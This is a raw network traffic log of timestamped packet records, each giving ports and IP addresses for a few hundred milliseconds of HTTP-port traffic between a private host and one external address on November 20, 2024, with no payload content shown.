Nov 20, 2024 21:04:30.958909035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.958990097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.959675074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.959819078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.959877014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.960726976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.960907936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.960962057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.961378098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.961491108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.961577892 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.962285042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.962371111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.963222027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.963282108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.963362932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.963413954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.964119911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.964288950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.964340925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.965152025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.965280056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.965329885 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.966006041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.966169119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.966217041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.966931105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.967082977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.967830896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.967890978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.967947006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.968003988 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.969039917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.969161034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.969211102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.969691038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.969799042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.970046997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.970669031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.970876932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.970927954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.972213984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.972425938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.972476006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.972537994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.972556114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.972790003 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.973422050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.019139051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.098359108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.098408937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.098439932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.098472118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.098633051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.098680973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.098692894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.099556923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.099616051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.099695921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.100518942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.100590944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.100620985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.101407051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.101458073 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.101505995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.102407932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.102425098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.102469921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.103421926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.103477955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.103488922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.104226112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.104274035 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.104334116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.105207920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.105256081 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.105263948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.106169939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.106240034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.106268883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.106803894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.106862068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.106908083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.107764006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.107817888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.107825994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.108689070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.108738899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.108809948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.109615088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.109677076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.109786034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.110553026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.110604048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.110632896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.111462116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.111534119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.111567974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.112437963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.112483025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.112514973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.113334894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.113400936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.113488913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.114281893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.114342928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.114373922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.115205050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.115257025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.115295887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.116132021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.116177082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.116216898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.117078066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.117153883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.117192030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.117997885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.118052006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.118175030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.118925095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.119026899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.119035959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.119936943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.119988918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.119988918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.120798111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.120913982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.120938063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.121733904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.121790886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.121937037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.122704983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.122761965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.122785091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.123610973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.123658895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.123723030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.124567032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.124615908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.124628067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.125504971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.125633955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.125662088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.126442909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.126504898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.126530886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.127413034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.127470016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.127506971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.128501892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.128561020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.128592968 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.129247904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.129292011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.129309893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.130146980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.130201101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.130244970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.131166935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.131205082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.131227970 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.132014990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.132067919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.132112026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.132957935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.133014917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.133043051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.134008884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.134095907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.134099007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.135116100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.135181904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.135202885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.136109114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.136147976 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.136729002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.137170076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.137213945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.137348890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.138322115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.138391018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.138467073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.139229059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.139270067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.139286041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.140041113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.140089989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.140130043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.140834093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.140881062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.140929937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.141597986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.141649008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.141704082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.142288923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.142338037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.142386913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.143297911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.143364906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.143384933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.144148111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.144210100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.144253016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.145123959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.145174980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.145236015 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.146054983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.146111012 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.146205902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.146905899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.146996975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.299459934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.299707890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.299882889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.299900055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.299957991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.300766945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.300992966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.301052094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.301702976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.301940918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.302009106 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.302628994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.303138971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.303193092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.303572893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.303694963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.304610014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.304671049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.304716110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.304763079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.305452108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.305788994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.306405067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.306457996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.306494951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.306539059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.307358980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.307465076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.308208942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.308264017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.308429003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.308474064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.309170961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.309186935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.309313059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.310092926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.310228109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.310285091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.310992956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.311270952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.311932087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.311990976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.311997890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.312036037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.312958956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.313030958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.313647032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.313790083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.314039946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.314696074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.314762115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.314773083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.314826965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.315646887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.315977097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.316577911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.316642046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.316817045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.316867113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.317543983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.317616940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.318445921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.318512917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.318695068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.318743944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.319379091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.319494963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.320338964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.320401907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.320580006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.320630074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.321254969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.321422100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.321644068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.322179079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.322295904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.323122025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.323196888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.323935986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.324002981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.324048996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.324227095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.324978113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.325088024 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.325125933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.325172901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.325916052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.326312065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.326370001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.326864958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.326880932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.326942921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.327781916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.327899933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.328713894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.328772068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.329747915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.329765081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.329802990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.329818964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.329844952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.330610037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.330630064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.331512928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.331595898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.332472086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.332488060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.332525969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.332572937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.332618952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.333405972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.333734989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.334350109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.334366083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.334404945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.334434986 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.335235119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.336256981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.336272955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.336308002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.336317062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.336359978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.337201118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.337217093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.337263107 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.338047028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.338321924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:31.338392019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:31.338982105 CET	80	49744	185.215.113.16	192.168.2.4
